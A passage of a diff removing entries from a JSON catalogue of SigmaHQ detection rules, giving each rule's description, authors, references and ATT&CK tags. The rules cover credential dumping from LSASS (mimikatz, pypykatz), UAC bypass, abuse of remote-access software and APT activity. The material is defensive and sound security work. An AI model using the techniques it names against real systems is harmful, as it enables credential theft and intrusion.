in lsass.exe that trigger a crash dump (unlikely)", - "Unknown cases in which WerFault accesses lsass.exe" - ], - "filename": "proc_access_win_lsass_werfault.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_werfault.yml", - "https://github.com/helpsystems/nanodump/commit/578116faea3d278d53d70ea932e2bbfe42569507" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0002" - ] - }, - "uuid": "e5b33f7d-eb93-48b6-9851-09e1e610b6d7", - "value": "WerFault Accassing LSASS" - }, - { - "description": "Detects a process access to verclsid.exe that injects shellcode from a Microsoft Office application / VBA macro", - "meta": { - "author": "John Lambert (tech), Florian Roth (rule)", - "creation_date": "2017/03/04", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_access_win_malware_verclsid_shellcode.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_malware_verclsid_shellcode.yml", - "https://twitter.com/JohnLaTwC/status/837743453039534080" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055" - ] - }, - "uuid": "b7967e22-3d7e-409b-9ed5-cdae3f9243a1", - "value": "Malware Shellcode in Verclsid Target Process" - }, - { - "description": "Detects usage of mimikatz through WinRM protocol by monitoring access to lsass process by wsmprovhost.exe.", - "meta": { - "author": "Patryk Prauze - ING Tech", - "creation_date": "2019/05/20", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_access_win_mimikatz_trough_winrm.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://pentestlab.blog/2018/05/15/lateral-movement-winrm/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_mimikatz_trough_winrm.yml" - ], - "tags": [ - "attack.credential_access", - "attack.execution", - "attack.t1003.001", - "attack.t1059.001", - "attack.lateral_movement", - "attack.t1021.006", - "attack.s0002" - ] - }, - "uuid": "aa35a627-33fb-4d04-a165-d33b4afca3e8", - "value": "Mimikatz through Windows Remote Management" - }, - { - "description": "Detects LSASS process access by pypykatz for credential dumping.", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/08/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_access_win_pypykatz_cred_dump_lsass_access.yml", - "level": "critical", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_pypykatz_cred_dump_lsass_access.yml", - "https://github.com/skelsec/pypykatz" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "7186e989-4ed7-4f4e-a656-4674b9e3e48b", - "value": "Credential Dumping by Pypykatz" - }, - { - "description": "Detects process access to LSASS memory with suspicious access flags 0x410 and 0x01410 (spin-off of similar rule)", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/13", - "falsepositive": [ - "Legitimate software accessing LSASS process for legitimate reason" - ], - "filename": "proc_access_win_rare_proc_access_lsass.yml", - "level": "medium", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_rare_proc_access_lsass.yml", - "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", - "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", - "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0002" - ] - }, - "uuid": "678dfc63-fefb-47a5-a04c-26bcf8cc9f65", - "value": "Rare GrantedAccess Flags on LSASS Access" - }, - { - "description": "Detects process access to LSASS memory with suspicious access flags", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/11/22", - "falsepositive": [ - "Legitimate software accessing LSASS process for legitimate reason" - ], - "filename": "proc_access_win_susp_proc_access_lsass.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", - "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", - "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_proc_access_lsass.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0002" - ] - }, - "uuid": "a18dd26b-6450-46de-8c91-9659150cf088", - "value": "Suspicious GrantedAccess Flags on LSASS Access" - }, - { - "description": "Detects process access to LSASS memory with suspicious access flags and from a suspicious folder", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/11/27", - "falsepositive": [ - "Legitimate software accessing LSASS process for legitimate reason" - ], - "filename": "proc_access_win_susp_proc_access_lsass_susp_source.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_proc_access_lsass_susp_source.yml", - "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", - "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", - "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001", - "attack.s0002" - ] - }, - "uuid": "fa34b441-961a-42fa-a100-ecc28c886725", - "value": "LSASS Access from Program in Suspicious Folder" - }, - { - "description": "Detects when a process, such as mimikatz, accesses the memory of svchost to dump credentials", - "meta": { - "author": "Florent Labouyrie", - "creation_date": "2021/04/30", - "falsepositive": [ - "Non identified legit exectubale" - ], - "filename": "proc_access_win_svchost_cred_dump.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_svchost_cred_dump.yml" - ], - "tags": [ - "attack.t1548" - ] - }, - "uuid": "174afcfa-6e40-4ae9-af64-496546389294", - "value": "SVCHOST Credential Dump" - }, - { - "description": "Detects the pattern of UAC Bypass using a WoW64 logger DLL hijack (UACMe 30)", - "meta": { - "author": "Christian Burkard", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_access_win_uac_bypass_wow64_logger.yml", - "level": "high", - "logsource.category": "process_access", - "logsource.product": "windows", - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_uac_bypass_wow64_logger.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "4f6c43e2-f989-4ea5-bcd8-843b49a0317c", - "value": "UAC Bypass Using WOW64 Logger DLL Hijack" - }, - { - "description": "7-Zip through 21.07 on Windows allows privilege escalation (CVE-2022-29072) and command execution when a file with the .7z extension is dragged to the Help>Contents area. This is caused by misconfiguration of 7z.dll and a heap overflow. The command runs in a child process under the 7zFM.exe process.", - "meta": { - "author": "frack113", - "creation_date": "2022/04/17", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_7zip_cve_2022_29072.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/kagancapar/CVE-2022-29072", - "https://twitter.com/kagancapar/status/1515219358234161153", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_7zip_cve_2022_29072.yml" - ], - "tags": [ - "cve.2022.29072" - ] - }, - "uuid": "9a4ccd1a-3526-4d99-b980-9f9c5d3a6ee3", - "value": "Suspicious 7zip Subprocess" - }, - { - "description": "Detection of unusual child processes by different system processes", - "meta": { - "author": "Semanur Guneysu @semanurtg, oscd.community", - "creation_date": "2020/10/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_abusing_debug_privilege.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_abusing_debug_privilege.yml", - "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-74-638.jpg" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548" - ] - }, - "uuid": "d522eca2-2973-4391-a3e0-ef0374321dae", - "value": "Abused Debug Privilege by Arbitrary Parent Processes" - }, - { - "description": "Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type.", - "meta": { - "author": "Sreeman", - "creation_date": "2020/09/29", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_abusing_windows_telemetry_for_persistence.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_abusing_windows_telemetry_for_persistence.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1112", - "attack.t1053" - ] - }, - "uuid": "f548a603-c9f2-4c89-b511-b089f7e94549", - "value": "Abusing Windows Telemetry For Persistence" - }, - { - "description": "Accesschk is an access and privilege audit tool developed by SysInternal and often being used by attacker to verify privileges", - "meta": { - "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community, Nasreddine Bencherchali (modified)", - "creation_date": "2020/10/13", - "falsepositive": [ - "System administrator Usage" - ], - "filename": "proc_creation_win_accesschk_usage_after_priv_escalation.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_accesschk_usage_after_priv_escalation.yml", - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment?slide=43", - "https://github.com/gladiatx0r/Powerless/blob/04f553bbc0c65baf4e57344deff84e3f016e6b51/Powerless.bat", - "https://www.youtube.com/watch?v=JGs-aKf2OtU&ab_channel=OFFZONEMOSCOW", - "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ] - }, - "uuid": "c625d754-6a3d-4f65-9c9a-536aea960d37", - "value": "Accesschk Usage To Check Privileges" - }, - { - "description": "Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.", - "meta": { - "author": "@ROxPinTeddy, Nasreddine Bencherchali @nas_bench", - "creation_date": "2020/05/12", - "falsepositive": [ - "Legitimate administrative use" - ], - "filename": "proc_creation_win_advanced_ip_scanner.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20IP%20Scanner", - "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_advanced_ip_scanner.yml", - "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", - "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", - "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", - "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer" - ], - "tags": [ - "attack.discovery", - "attack.t1046", - "attack.t1135" - ] - }, - "uuid": "bef37fa2-f205-4a7b-b484-0759bfd5f86f", - "value": "Advanced IP Scanner" - }, - { - "description": "Detects the use of Advanced Port Scanner.", - "meta": { - "author": "Nasreddine Bencherchali @nas_bench", - "creation_date": "2021/12/18", - "falsepositive": [ - "Legitimate administrative use", - "Tools with similar commandline (very rare)" - ], - "filename": "proc_creation_win_advanced_port_scanner.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20Port%20Scanner", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_advanced_port_scanner.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1046", - "attack.t1135" - ] - }, - "uuid": "54773c5f-f1cc-4703-9126-2f797d96a69d", - "value": "Advanced Port Scanner" - }, - { - "description": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection", - "meta": { - "author": "frack113", - "creation_date": "2021/09/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_alternate_data_streams.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_alternate_data_streams.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ] - }, - "uuid": "7f43c430-5001-4f8b-aaa9-c3b88f18fa5c", - "value": "Execute From Alternate Data Streams" - }, - { - "description": "This rule looks for Windows Installer service (msiexec.exe) spawned command line and/or powershell", - "meta": { - "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community", - "creation_date": "2020/10/13", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_always_install_elevated_msi_spawned_cmd_powershell.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_always_install_elevated_msi_spawned_cmd_powershell.yml", - "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-50-638.jpg" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "1e53dd56-8d83-4eb4-a43e-b790a05510aa", - "value": "Always Install Elevated MSI Spawned Cmd And Powershell" - }, - { - "description": "This rule looks for Windows Installer service (msiexec.exe) trying to install MSI packages with SYSTEM privilege", - "meta": { - "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community", - "creation_date": "2020/10/13", - "falsepositive": [ - "System administrator usage", - "Anti virus products" - ], - "filename": "proc_creation_win_always_install_elevated_windows_installer.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-48-638.jpg", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_always_install_elevated_windows_installer.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "cd951fdc-4b2f-47f5-ba99-a33bf61e3770", - "value": "Always Install Elevated Windows Installer" - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "meta": { - "author": "frack113", - "creation_date": "2022/02/11", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_anydesk.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "b52e84a3-029e-4529-b09b-71d19dd27e94", - "value": "Use of Anydesk Remote Access Software" - }, - { - "description": "Detects piping the password to an anydesk instance via CMD and the '--set-password' flag", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/28", - "falsepositive": [ - "Legitimate piping of the password to anydesk", - "Some FP could occure with similar tools that uses the same command line '--set-password'" - ], - "filename": "proc_creation_win_anydesk_piped_password_via_cli.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/misbehaving-rats/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_piped_password_via_cli.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "b1377339-fda6-477a-b455-ac0923f9ec2c", - "value": "AnyDesk Inline Piped Password" - }, - { - "description": "AnyDesk Remote Desktop silent installation can be used by attacker to gain remote access.", - "meta": { - "author": "Ján Trenčanský", - "creation_date": "2021/08/06", - "falsepositive": [ - "Legitimate deployment of AnyDesk" - ], - "filename": "proc_creation_win_anydesk_silent_install.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/TheDFIRReport/status/1423361119926816776?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_silent_install.yml", - "https://support.anydesk.com/Automatic_Deployment" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "114e7f1c-f137-48c8-8f54-3088c24ce4b9", - "value": "AnyDesk Silent Installation" - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/05/20", - "falsepositive": [ - "Legitimate use of AnyDesk from a non-standard folder" - ], - "filename": "proc_creation_win_anydesk_susp_folder.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_susp_folder.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "065b00ca-5d5c-4557-ac95-64a6d0b64d86", - "value": "Use of Anydesk Remote Access Software from Suspicious Folder" - }, - { - "description": "Detects specific process parameters as used by ACTINIUM scheduled task persistence creation.", - "meta": { - "author": "Andreas Hunkeler (@Karneades)", - "creation_date": "2022/02/07", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_actinium_persistence.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_actinium_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1053", - "attack.t1053.005" - ] - }, - "uuid": "e1118a8f-82f5-44b3-bb6b-8a284e5df602", - "value": "Scheduled Task WScript VBScript" - }, - { - "description": "This method detects a suspicious PowerShell command line combination as used by APT29 in a campaign against U.S. think tanks.", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/12/04", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_apt29_thinktanks.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_apt29_thinktanks.yml", - "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/" - ], - "tags": [ - "attack.execution", - "attack.g0016", - "attack.t1059.001" - ] - }, - "uuid": "033fe7d6-66d1-4240-ac6b-28908009c71f", - "value": "APT29" - }, - { - "description": "Detects activity that could be related to Baby Shark malware", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/02/24", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_babyshark.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_babyshark.yml", - "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/" - ], - "tags": [ - "attack.execution", - "attack.t1059.003", - "attack.t1059.001", - "attack.discovery", - "attack.t1012", - "attack.defense_evasion", - "attack.t1218.005" - ] - }, - "uuid": "2b30fa36-3a18-402f-a22d-bf4ce2189f35", - "value": "Baby Shark Activity" - }, - { - "description": "Detects Russian group activity as described in Global Threat Report 2019 by Crowdstrike", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/02/21", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_bear_activity_gtr19.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_bear_activity_gtr19.yml", - "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.001", - "attack.t1003.003" - ] - }, - "uuid": "b83f5166-9237-4b5e-9cd4-7b5d52f4d8ee", - "value": "Judgement Panda Credential Access Activity" - }, - { - "description": "Detects a suspicious DLL loading from AppData Local path as described in BlueMashroom report", - "meta": { - "author": "Florian Roth, Tim Shelton", - "creation_date": "2019/10/02", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_bluemashroom.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.virusbulletin.com/conference/vb2019/abstracts/apt-cases-exploiting-vulnerabilities-region-specific-software", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_bluemashroom.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.010" - ] - }, - "uuid": "bd70d3f8-e60e-4d25-89f0-0b5a9cff20e0", - "value": "BlueMashroom DLL Load" - }, - { - "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", - "meta": { - "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2018/03/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_chafer_mar18.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_chafer_mar18.yml", - "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/" - ], - "tags": [ - "attack.persistence", - "attack.g0049", - "attack.t1053.005", - "attack.s0111", - "attack.t1543.003", - "attack.defense_evasion", - "attack.t1112", - "attack.command_and_control", - "attack.t1071.004" - ] - }, - "uuid": "ce6e34ca-966d-41c9-8d93-5b06c8b97a06", - "value": "Chafer Activity" - }, - { - "description": "Detects wmiexec vbs version execution by wscript or cscript", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/04/07", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_cloudhopper.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_cloudhopper.yml" - ], - "tags": [ - "attack.execution", - "attack.g0045", - "attack.t1059.005" - ] - }, - "uuid": "966e4016-627f-44f7-8341-f394905c361f", - "value": "WMIExec VBS Script" - }, - { - "description": "Detects CrackMapExecWin Activity as Described by NCSC", - "meta": { - "author": "Markus Neis", - "creation_date": "2018/04/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_dragonfly.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_dragonfly.yml", - "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control", - "https://attack.mitre.org/software/S0488/" - ], - "tags": [ - "attack.g0035", - "attack.credential_access", - "attack.discovery", - "attack.t1110", - "attack.t1087" - ] - }, - "uuid": "04d9079e-3905-4b70-ad37-6bdf11304965", - "value": "CrackMapExecWin" - }, - { - "description": "Detects Elise backdoor acitivty as used by APT32", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/01/31", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_elise.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_elise.yml", - "https://community.rsa.com/community/products/netwitness/blog/2018/02/13/lotus-blossom-continues-asean-targeting" - ], - "tags": [ - "attack.g0030", - "attack.g0050", - "attack.s0081", - "attack.execution", - "attack.t1059.003" - ] - }, - "uuid": "e507feb7-5f73-4ef6-a970-91bb6f6d744f", - "value": "Elise Backdoor" - }, - { - "description": "Detects the execution of DLL side-loading malware used by threat group Emissary Panda aka APT27", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/09/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_emissarypanda_sep19.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/579e7587-f09d-4aae-8b07-472833262965", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_emissarypanda_sep19.yml", - "https://twitter.com/cyb3rops/status/1168863899531132929" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ] - }, - "uuid": "9aa01d62-7667-4d3b-acb8-8cb5103e2014", - "value": "Emissary Panda Malware SLLauncher" - }, - { - "description": "Detects EmpireMonkey APT reported Activity", - "meta": { - "author": "Markus Neis", - "creation_date": "2019/04/02", - "falsepositive": [ - "Very Unlikely" - ], - "filename": "proc_creation_win_apt_empiremonkey.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_empiremonkey.yml", - "https://app.any.run/tasks/a4107649-8cb0-41af-ad75-113152d4d57b" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.010" - ] - }, - "uuid": "10152a7b-b566-438f-a33c-390b607d1c8d", - "value": "Empire Monkey" - }, - { - "description": "Detects a specific tool and export used by EquationGroup", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/03/04", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_equationgroup_dll_u_load.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/cyb3rops/status/972186477512839170", - "https://securelist.com/apt-slingshot/84312/", - "https://github.com/adamcaudill/EquationGroupLeak/search?utf8=%E2%9C%93&q=dll_u&type=", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_equationgroup_dll_u_load.yml" - ], - "tags": [ - "attack.g0020", - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "uuid": "d465d1d8-27a2-4cca-9621-a800f37cf72e", - "value": "Equation Group DLL_U Load" - }, - { - "description": "Detects Golden Chickens deployment method as used by Evilnum in report published in July 2020", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/07/10", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_evilnum_jul20.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_evilnum_jul20.yml", - "https://app.any.run/tasks/33d37fdf-158d-4930-aa68-813e1d5eb8ba/", - 